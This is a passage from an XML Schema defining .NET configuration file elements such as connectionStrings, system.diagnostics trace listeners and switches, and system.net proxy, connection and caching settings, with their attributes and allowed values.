163 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
164 <xs:attribute name="configSource" type="xs:string" use="optional" />
165 </xs:complexType>
166 </xs:element>
167 <xs:element name="connectionStrings" vs:help="configuration/connectionStrings">
168 <xs:complexType>
169 <xs:choice minOccurs="0" maxOccurs="unbounded">
170 <xs:element name="add" vs:help="configuration/connectionStrings/add">
171 <xs:complexType>
172 <xs:attribute name="connectionString" type="xs:string" use="required" />
173 <xs:attribute name="name" type="xs:string" use="required" />
174 <xs:attribute name="providerName" type="xs:string" use="optional" />
175 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
176 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
177 <xs:attribute name="lockElements" type="xs:string" use="optional" />
178 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
179 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
180 </xs:complexType>
181 </xs:element>
182 <xs:element name="remove" vs:help="configuration/connectionStrings/remove">
183 <xs:complexType>
184 <xs:attribute name="name" type="xs:string" use="required" />
185 </xs:complexType>
186 </xs:element>
187 <xs:element name="clear" vs:help="configuration/connectionStrings/clear">
188 <xs:complexType>
189 <!--tag is empty-->
190 </xs:complexType>
191 </xs:element>
192 </xs:choice>
193 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
194 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
195 <xs:attribute name="lockElements" type="xs:string" use="optional" />
196 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
197 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
198 <xs:attribute name="configSource" type="xs:string" use="optional" />
199 </xs:complexType>
200 </xs:element>
201 <xs:element name="mscorlib" vs:help="configuration/mscorlib" />
202 <xs:element name="runtime" vs:help="configuration/runtime">
203 <xs:complexType>
204 <xs:choice minOccurs="0" maxOccurs="unbounded">
205 <xs:any namespace="##any" processContents="skip" />
206 </xs:choice>
207 <xs:anyAttribute processContents="skip" />
208 </xs:complexType>
209 </xs:element>
210 <xs:element name="satelliteassemblies" vs:help="configuration/satelliteassemblies" />
211 <xs:element name="startup" vs:help="configuration/startup" />
212 <xs:element name="system.codedom" vs:help="configuration/system.codedom" />
213 <xs:element name="system.data" vs:help="configuration/system.data">
214 <xs:complexType>
215 <xs:choice minOccurs="0" maxOccurs="unbounded">
216 <xs:any namespace="##any" processContents="skip" />
217 </xs:choice>
218 </xs:complexType>
219 </xs:element>
220 <xs:element name="system.data.dataset" vs:help="configuration/system.data.dataset" />
221 <xs:element name="system.data.odbc" vs:help="configuration/system.data.odbc" />
222 <xs:element name="system.data.oledb" vs:help="configuration/system.data.oledb" />
223 <xs:element name="system.data.oracleclient" vs:help="configuration/system.data.oracleclient" />
224 <xs:element name="system.data.sqlclient" vs:help="configuration/system.data.sqlclient" />
225 <xs:element name="system.diagnostics" vs:help="configuration/system.diagnostics">
226 <xs:complexType>
227 <xs:choice minOccurs="0" maxOccurs="unbounded">
228 <xs:element name="assert" vs:help="configuration/system.diagnostics/assert">
229 <xs:complexType>
230 <xs:attribute name="assertuienabled" type="small_boolean_Type" use="optional" />
231 <xs:attribute name="logfilename" type="xs:string" use="optional" />
232 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
233 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
234 <xs:attribute name="lockElements" type="xs:string" use="optional" />
235 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
236 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
237 </xs:complexType>
238 </xs:element>
239 <xs:element name="performanceCounters" vs:help="configuration/system.diagnostics/performanceCounters">
240 <xs:complexType>
241 <xs:attribute name="filemappingsize" type="xs:int" use="optional" />
242 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
243 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
244 <xs:attribute name="lockElements" type="xs:string" use="optional" />
245 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
246 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
247 </xs:complexType>
248 </xs:element>
249 <xs:element name="sharedListeners" vs:help="configuration/system.diagnostics/sharedListeners">
250 <xs:complexType>
251 <xs:choice minOccurs="0" maxOccurs="unbounded">
252 <xs:element name="add" vs:help="configuration/system.diagnostics/sharedListeners/add">
253 <xs:complexType>
254 <xs:choice minOccurs="0" maxOccurs="unbounded">
255 <xs:element name="filter" vs:help="configuration/system.diagnostics/sharedListeners/ListenerElement/filter">
256 <xs:complexType>
257 <xs:attribute name="initializeData" type="xs:string" use="optional" />
258 <xs:attribute name="type" type="xs:string" use="required" />
259 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
260 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
261 <xs:attribute name="lockElements" type="xs:string" use="optional" />
262 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
263 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
264 </xs:complexType>
265 </xs:element>
266 </xs:choice>
267 <xs:attribute name="name" type="xs:string" use="required" />
268 <xs:attribute name="traceOutputOptions" use="optional">
269 <xs:simpleType>
270 <xs:restriction base="xs:NMTOKEN">
271 <xs:enumeration value="Callstack" />
272 <xs:enumeration value="DateTime" />
273 <xs:enumeration value="LogicalOperationStack" />
274 <xs:enumeration value="None" />
275 <xs:enumeration value="ProcessId" />
276 <xs:enumeration value="ThreadId" />
277 <xs:enumeration value="Timestamp" />
278 </xs:restriction>
279 </xs:simpleType>
280 </xs:attribute>
281 <xs:attribute name="initializeData" type="xs:string" use="optional" />
282 <xs:attribute name="type" type="xs:string" use="optional" />
283 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
284 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
285 <xs:attribute name="lockElements" type="xs:string" use="optional" />
286 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
287 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
288 </xs:complexType>
289 </xs:element>
290 <xs:element name="remove" vs:help="configuration/system.diagnostics/sharedListeners/remove">
291 <xs:complexType>
292 <xs:choice minOccurs="0" maxOccurs="unbounded">
293 <xs:element name="filter" vs:help="configuration/system.diagnostics/sharedListeners/ListenerElement/filter">
294 <xs:complexType>
295 <xs:attribute name="initializeData" type="xs:string" use="optional" />
296 <xs:attribute name="type" type="xs:string" use="required" />
297 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
298 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
299 <xs:attribute name="lockElements" type="xs:string" use="optional" />
300 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
301 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
302 </xs:complexType>
303 </xs:element>
304 </xs:choice>
305 <xs:attribute name="name" type="xs:string" use="required" />
306 </xs:complexType>
307 </xs:element>
308 </xs:choice>
309 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
310 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
311 <xs:attribute name="lockElements" type="xs:string" use="optional" />
312 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
313 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
314 </xs:complexType>
315 </xs:element>
316 <xs:element name="sources" vs:help="configuration/system.diagnostics/sources">
317 <xs:complexType>
318 <xs:choice minOccurs="0" maxOccurs="unbounded">
319 <xs:element name="source" vs:help="configuration/system.diagnostics/sources/source">
320 <xs:complexType>
321 <xs:choice minOccurs="0" maxOccurs="unbounded">
322 <xs:element name="listeners" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners">
323 <xs:complexType>
324 <xs:choice minOccurs="0" maxOccurs="unbounded">
325 <xs:element name="add" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/add">
326 <xs:complexType>
327 <xs:choice minOccurs="0" maxOccurs="unbounded">
328 <xs:element name="filter" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/ListenerElement/filter">
329 <xs:complexType>
330 <xs:attribute name="initializeData" type="xs:string" use="optional" />
331 <xs:attribute name="type" type="xs:string" use="required" />
332 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
333 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
334 <xs:attribute name="lockElements" type="xs:string" use="optional" />
335 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
336 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
337 </xs:complexType>
338 </xs:element>
339 </xs:choice>
340 <xs:attribute name="name" type="xs:string" use="required" />
341 <xs:attribute name="traceOutputOptions" use="optional">
342 <xs:simpleType>
343 <xs:restriction base="xs:NMTOKEN">
344 <xs:enumeration value="Callstack" />
345 <xs:enumeration value="DateTime" />
346 <xs:enumeration value="LogicalOperationStack" />
347 <xs:enumeration value="None" />
348 <xs:enumeration value="ProcessId" />
349 <xs:enumeration value="ThreadId" />
350 <xs:enumeration value="Timestamp" />
351 </xs:restriction>
352 </xs:simpleType>
353 </xs:attribute>
354 <xs:attribute name="initializeData" type="xs:string" use="optional" />
355 <xs:attribute name="type" type="xs:string" use="optional" />
356 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
357 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
358 <xs:attribute name="lockElements" type="xs:string" use="optional" />
359 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
360 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
361 </xs:complexType>
362 </xs:element>
363 <xs:element name="remove" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/remove">
364 <xs:complexType>
365 <xs:choice minOccurs="0" maxOccurs="unbounded">
366 <xs:element name="filter" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/ListenerElement/filter">
367 <xs:complexType>
368 <xs:attribute name="initializeData" type="xs:string" use="optional" />
369 <xs:attribute name="type" type="xs:string" use="optional" />
370 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
371 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
372 <xs:attribute name="lockElements" type="xs:string" use="optional" />
373 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
374 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
375 </xs:complexType>
376 </xs:element>
377 </xs:choice>
378 <xs:attribute name="name" type="xs:string" use="required" />
379 </xs:complexType>
380 </xs:element>
381 </xs:choice>
382 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
383 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
384 <xs:attribute name="lockElements" type="xs:string" use="optional" />
385 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
386 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
387 </xs:complexType>
388 </xs:element>
389 </xs:choice>
390 <xs:attribute name="name" type="xs:string" use="required" />
391 <xs:attribute name="switchName" type="xs:string" use="optional" />
392 <xs:attribute name="switchType" type="xs:string" use="optional" />
393 <xs:attribute name="switchValue" type="xs:string" use="optional" />
394 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
395 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
396 <xs:attribute name="lockElements" type="xs:string" use="optional" />
397 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
398 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
399 </xs:complexType>
400 </xs:element>
401 </xs:choice>
402 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
403 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
404 <xs:attribute name="lockElements" type="xs:string" use="optional" />
405 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
406 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
407 </xs:complexType>
408 </xs:element>
409 <xs:element name="switches" vs:help="configuration/system.diagnostics/switches">
410 <xs:complexType>
411 <xs:choice minOccurs="0" maxOccurs="unbounded">
412 <xs:element name="add" vs:help="configuration/system.diagnostics/switches/add">
413 <xs:complexType>
414 <xs:attribute name="name" type="xs:string" use="required" />
415 <xs:attribute name="value" type="xs:string" use="required" />
416 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
417 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
418 <xs:attribute name="lockElements" type="xs:string" use="optional" />
419 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
420 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
421 </xs:complexType>
422 </xs:element>
423 <xs:element name="remove" vs:help="configuration/system.diagnostics/switches/remove">
424 <xs:complexType>
425 <xs:attribute name="name" type="xs:string" use="required" />
426 </xs:complexType>
427 </xs:element>
428 <xs:element name="clear" vs:help="configuration/system.diagnostics/switches/clear">
429 <xs:complexType>
430 <!--tag is empty-->
431 </xs:complexType>
432 </xs:element>
433 </xs:choice>
434 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
435 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
436 <xs:attribute name="lockElements" type="xs:string" use="optional" />
437 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
438 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
439 </xs:complexType>
440 </xs:element>
441 <xs:element name="trace" vs:help="configuration/system.diagnostics/trace">
442 <xs:complexType>
443 <xs:choice minOccurs="0" maxOccurs="unbounded">
444 <xs:element name="listeners" vs:help="configuration/system.diagnostics/trace/listeners">
445 <xs:complexType>
446 <xs:choice minOccurs="0" maxOccurs="unbounded">
447 <xs:element name="add" vs:help="configuration/system.diagnostics/trace/listeners/add">
448 <xs:complexType>
449 <xs:choice minOccurs="0" maxOccurs="unbounded">
450 <xs:element name="filter" vs:help="configuration/system.diagnostics/trace/listeners/ListenerElement/filter">
451 <xs:complexType>
452 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
453 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
454 <xs:attribute name="lockElements" type="xs:string" use="optional" />
455 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
456 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
457 </xs:complexType>
458 </xs:element>
459 </xs:choice>
460 <xs:attribute name="name" type="xs:string" use="required" />
461 <xs:attribute name="traceOutputOptions" use="optional">
462 <xs:simpleType>
463 <xs:restriction base="xs:NMTOKEN">
464 <xs:enumeration value="Callstack" />
465 <xs:enumeration value="DateTime" />
466 <xs:enumeration value="LogicalOperationStack" />
467 <xs:enumeration value="None" />
468 <xs:enumeration value="ProcessId" />
469 <xs:enumeration value="ThreadId" />
470 <xs:enumeration value="Timestamp" />
471 </xs:restriction>
472 </xs:simpleType>
473 </xs:attribute>
474 <xs:attribute name="initializeData" type="xs:string" use="optional" />
475 <xs:attribute name="type" type="xs:string" use="optional" />
476 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
477 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
478 <xs:attribute name="lockElements" type="xs:string" use="optional" />
479 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
480 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
481 </xs:complexType>
482 </xs:element>
483 <xs:element name="remove" vs:help="configuration/system.diagnostics/trace/listeners/remove">
484 <xs:complexType>
485 <xs:choice minOccurs="0" maxOccurs="unbounded">
486 <xs:element name="filter" vs:help="configuration/system.diagnostics/trace/listeners/ListenerElement/filter">
487 <xs:complexType>
488 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
489 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
490 <xs:attribute name="lockElements" type="xs:string" use="optional" />
491 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
492 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
493 </xs:complexType>
494 </xs:element>
495 </xs:choice>
496 <xs:attribute name="name" type="xs:string" use="required" />
497 </xs:complexType>
498 </xs:element>
499 <xs:element name="clear" vs:help="configuration/system.diagnostics/trace/listeners/clear">
500 <xs:complexType>
501 <!--tag is empty-->
502 </xs:complexType>
503 </xs:element>
504 </xs:choice>
505 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
506 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
507 <xs:attribute name="lockElements" type="xs:string" use="optional" />
508 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
509 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
510 </xs:complexType>
511 </xs:element>
512 </xs:choice>
513 <xs:attribute name="autoflush" type="small_boolean_Type" use="optional" />
514 <xs:attribute name="indentsize" type="xs:int" use="optional" />
515 <xs:attribute name="useGlobalLock" type="small_boolean_Type" use="optional" />
516 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
517 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
518 <xs:attribute name="lockElements" type="xs:string" use="optional" />
519 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
520 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
521 </xs:complexType>
522 </xs:element>
523 </xs:choice>
524 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
525 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
526 <xs:attribute name="lockElements" type="xs:string" use="optional" />
527 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
528 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
529 <xs:attribute name="configSource" type="xs:string" use="optional" />
530 </xs:complexType>
531 </xs:element>
532 <xs:element name="system.runtime.remoting" vs:help="configuration/system.runtime.remoting" />
533 <xs:element name="system.webServer" vs:help="configuration/system.webServer" />
534 <xs:element name="system.windows.forms" vs:help="configuration/system.windows.forms">
535 <xs:complexType>
536 <xs:attribute name="jitDebugging" type="small_boolean_Type" use="optional" />
537 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
538 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
539 <xs:attribute name="lockElements" type="xs:string" use="optional" />
540 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
541 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
542 <xs:attribute name="configSource" type="xs:string" use="optional" />
543 </xs:complexType>
544 </xs:element>
545 <xs:element name="windows" vs:help="configuration/windows" />
546 <xs:element name="system.net" vs:help="configuration/system.net">
547 <xs:complexType>
548 <xs:choice minOccurs="0" maxOccurs="unbounded">
549 <xs:element name="authenticationModules" vs:help="configuration/system.net/authenticationModules">
550 <xs:complexType>
551 <xs:choice minOccurs="0" maxOccurs="unbounded">
552 <xs:element name="add" vs:help="configuration/system.net/authenticationModules/add">
553 <xs:complexType>
554 <xs:attribute name="type" type="xs:string" use="required" />
555 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
556 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
557 <xs:attribute name="lockElements" type="xs:string" use="optional" />
558 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
559 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
560 </xs:complexType>
561 </xs:element>
562 <xs:element name="remove" vs:help="configuration/system.net/authenticationModules/remove">
563 <xs:complexType>
564 <xs:attribute name="type" type="xs:string" use="required" />
565 </xs:complexType>
566 </xs:element>
567 <xs:element name="clear" vs:help="configuration/system.net/authenticationModules/clear">
568 <xs:complexType>
569 <!--tag is empty-->
570 </xs:complexType>
571 </xs:element>
572 </xs:choice>
573 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
574 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
575 <xs:attribute name="lockElements" type="xs:string" use="optional" />
576 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
577 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
578 <xs:attribute name="configSource" type="xs:string" use="optional" />
579 </xs:complexType>
580 </xs:element>
581 <xs:element name="connectionManagement" vs:help="configuration/system.net/connectionManagement">
582 <xs:complexType>
583 <xs:choice minOccurs="0" maxOccurs="unbounded">
584 <xs:element name="add" vs:help="configuration/system.net/connectionManagement/add">
585 <xs:complexType>
586 <xs:attribute name="address" type="xs:string" use="required" />
587 <xs:attribute name="maxconnection" type="xs:int" use="required" />
588 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
589 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
590 <xs:attribute name="lockElements" type="xs:string" use="optional" />
591 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
592 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
593 </xs:complexType>
594 </xs:element>
595 <xs:element name="remove" vs:help="configuration/system.net/connectionManagement/remove">
596 <xs:complexType>
597 <xs:attribute name="address" type="xs:string" use="required" />
598 </xs:complexType>
599 </xs:element>
600 <xs:element name="clear" vs:help="configuration/system.net/connectionManagement/clear">
601 <xs:complexType>
602 <!--tag is empty-->
603 </xs:complexType>
604 </xs:element>
605 </xs:choice>
606 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
607 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
608 <xs:attribute name="lockElements" type="xs:string" use="optional" />
609 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
610 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
611 <xs:attribute name="configSource" type="xs:string" use="optional" />
612 </xs:complexType>
613 </xs:element>
614 <xs:element name="defaultProxy" vs:help="configuration/system.net/defaultProxy">
615 <xs:complexType>
616 <xs:choice minOccurs="0" maxOccurs="unbounded">
617 <xs:element name="bypasslist" vs:help="configuration/system.net/defaultProxy/bypasslist">
618 <xs:complexType>
619 <xs:choice minOccurs="0" maxOccurs="unbounded">
620 <xs:element name="add" vs:help="configuration/system.net/defaultProxy/bypasslist/add">
621 <xs:complexType>
622 <xs:attribute name="address" type="xs:string" use="required" />
623 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
624 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
625 <xs:attribute name="lockElements" type="xs:string" use="optional" />
626 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
627 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
628 </xs:complexType>
629 </xs:element>
630 <xs:element name="remove" vs:help="configuration/system.net/defaultProxy/bypasslist/remove">
631 <xs:complexType>
632 <xs:attribute name="address" type="xs:string" use="required" />
633 </xs:complexType>
634 </xs:element>
635 <xs:element name="clear" vs:help="configuration/system.net/defaultProxy/bypasslist/clear">
636 <xs:complexType>
637 <!--tag is empty-->
638 </xs:complexType>
639 </xs:element>
640 </xs:choice>
641 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
642 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
643 <xs:attribute name="lockElements" type="xs:string" use="optional" />
644 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
645 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
646 </xs:complexType>
647 </xs:element>
648 <xs:element name="module" vs:help="configuration/system.net/defaultProxy/module">
649 <xs:complexType>
650 <xs:attribute name="type" type="xs:string" use="optional" />
651 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
652 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
653 <xs:attribute name="lockElements" type="xs:string" use="optional" />
654 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
655 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
656 </xs:complexType>
657 </xs:element>
658 <xs:element name="proxy" vs:help="configuration/system.net/defaultProxy/proxy">
659 <xs:complexType>
660 <xs:attribute name="autoDetect" use="optional">
661 <xs:simpleType>
662 <xs:restriction base="xs:NMTOKEN">
663 <xs:enumeration value="False" />
664 <xs:enumeration value="True" />
665 <xs:enumeration value="Unspecified" />
666 </xs:restriction>
667 </xs:simpleType>
668 </xs:attribute>
669 <xs:attribute name="bypassonlocal" use="optional">
670 <xs:simpleType>
671 <xs:restriction base="xs:NMTOKEN">
672 <xs:enumeration value="False" />
673 <xs:enumeration value="True" />
674 <xs:enumeration value="Unspecified" />
675 </xs:restriction>
676 </xs:simpleType>
677 </xs:attribute>
678 <xs:attribute name="proxyaddress" type="xs:string" use="optional" />
679 <xs:attribute name="scriptLocation" type="xs:string" use="optional" />
680 <xs:attribute name="usesystemdefault" use="optional">
681 <xs:simpleType>
682 <xs:restriction base="xs:NMTOKEN">
683 <xs:enumeration value="False" />
684 <xs:enumeration value="True" />
685 <xs:enumeration value="Unspecified" />
686 </xs:restriction>
687 </xs:simpleType>
688 </xs:attribute>
689 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
690 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
691 <xs:attribute name="lockElements" type="xs:string" use="optional" />
692 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
693 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
694 </xs:complexType>
695 </xs:element>
696 </xs:choice>
697 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
698 <xs:attribute name="useDefaultCredentials" type="small_boolean_Type" use="optional" />
699 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
700 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
701 <xs:attribute name="lockElements" type="xs:string" use="optional" />
702 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
703 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
704 <xs:attribute name="configSource" type="xs:string" use="optional" />
705 </xs:complexType>
706 </xs:element>
707 <xs:element name="requestCaching" vs:help="configuration/system.net/requestCaching">
708 <xs:complexType>
709 <xs:choice minOccurs="0" maxOccurs="unbounded">
710 <xs:element name="defaultFtpCachePolicy" vs:help="configuration/system.net/requestCaching/defaultFtpCachePolicy">
711 <xs:complexType>
712 <xs:attribute name="policyLevel" use="optional">
713 <xs:simpleType>
714 <xs:restriction base="xs:NMTOKEN">
715 <xs:enumeration value="BypassCache" />
716 <xs:enumeration value="CacheIfAvailable" />
717 <xs:enumeration value="CacheOnly" />
718 <xs:enumeration value="Default" />
719 <xs:enumeration value="NoCacheNoStore" />
720 <xs:enumeration value="Reload" />
721 <xs:enumeration value="Revalidate" />
722 </xs:restriction>
723 </xs:simpleType>
724 </xs:attribute>
725 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
726 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
727 <xs:attribute name="lockElements" type="xs:string" use="optional" />
728 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
729 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
730 </xs:complexType>
731 </xs:element>
732 <xs:element name="defaultHttpCachePolicy" vs:help="configuration/system.net/requestCaching/defaultHttpCachePolicy">
733 <xs:complexType>
734 <xs:attribute name="maximumAge" type="xs:string" use="optional" />
735 <xs:attribute name="maximumStale" type="xs:string" use="optional" />
736 <xs:attribute name="minimumFresh" type="xs:string" use="optional" />
737 <xs:attribute name="policyLevel" use="required">
738 <xs:simpleType>
739 <xs:restriction base="xs:NMTOKEN">
740 <xs:enumeration value="BypassCache" />
741 <xs:enumeration value="CacheIfAvailable" />
742 <xs:enumeration value="CacheOnly" />
743 <xs:enumeration value="CacheOrNextCacheOnly" />
744 <xs:enumeration value="Default" />
745 <xs:enumeration value="NoCacheNoStore" />
746 <xs:enumeration value="Refresh" />
747 <xs:enumeration value="Reload" />
748 <xs:enumeration value="Revalidate" />
749 </xs:restriction>
750 </xs:simpleType>
751 </xs:attribute>
752 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
753 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
754 <xs:attribute name="lockElements" type="xs:string" use="optional" />
755 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
756 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
757 </xs:complexType>
758 </xs:element>
759 </xs:choice>
760 <xs:attribute name="defaultPolicyLevel" use="optional">
761 <xs:simpleType>
762 <xs:restriction base="xs:NMTOKEN">
763 <xs:enumeration value="BypassCache" />
764 <xs:enumeration value="CacheIfAvailable" />
765 <xs:enumeration value="CacheOnly" />
766 <xs:enumeration value="Default" />
767 <xs:enumeration value="NoCacheNoStore" />
768 <xs:enumeration value="Reload" />
769 <xs:enumeration value="Revalidate" />
770 </xs:restriction>
771 </xs:simpleType>
772 </xs:attribute>
773 <xs:attribute name="disableAllCaching" type="small_boolean_Type" use="optional" />
774 <xs:attribute name="isPrivateCache" type="small_boolean_Type" use="optional" />
775 <xs:attribute name="unspecifiedMaximumAge" type="xs:string" use="optional" />
776 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
777 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
778 <xs:attribute name="lockElements" type="xs:string" use="optional" />
779 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
780 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
781 <xs:attribute name="configSource" type="xs:string" use="optional" />
782 </xs:complexType>
783 </xs:element>
784 <xs:element name="settings" vs:help="configuration/system.net/settings">
785 <xs:complexType>
786 <xs:choice minOccurs="0" maxOccurs="unbounded">
787 <xs:element name="httpWebRequest" vs:help="configuration/system.net/settings/httpWebRequest">
788 <xs:complexType>
789 <xs:attribute name="maximumErrorResponseLength" type="xs:int" use="optional" />
790 <xs:attribute name="maximumResponseHeadersLength" type="xs:int" use="optional" />
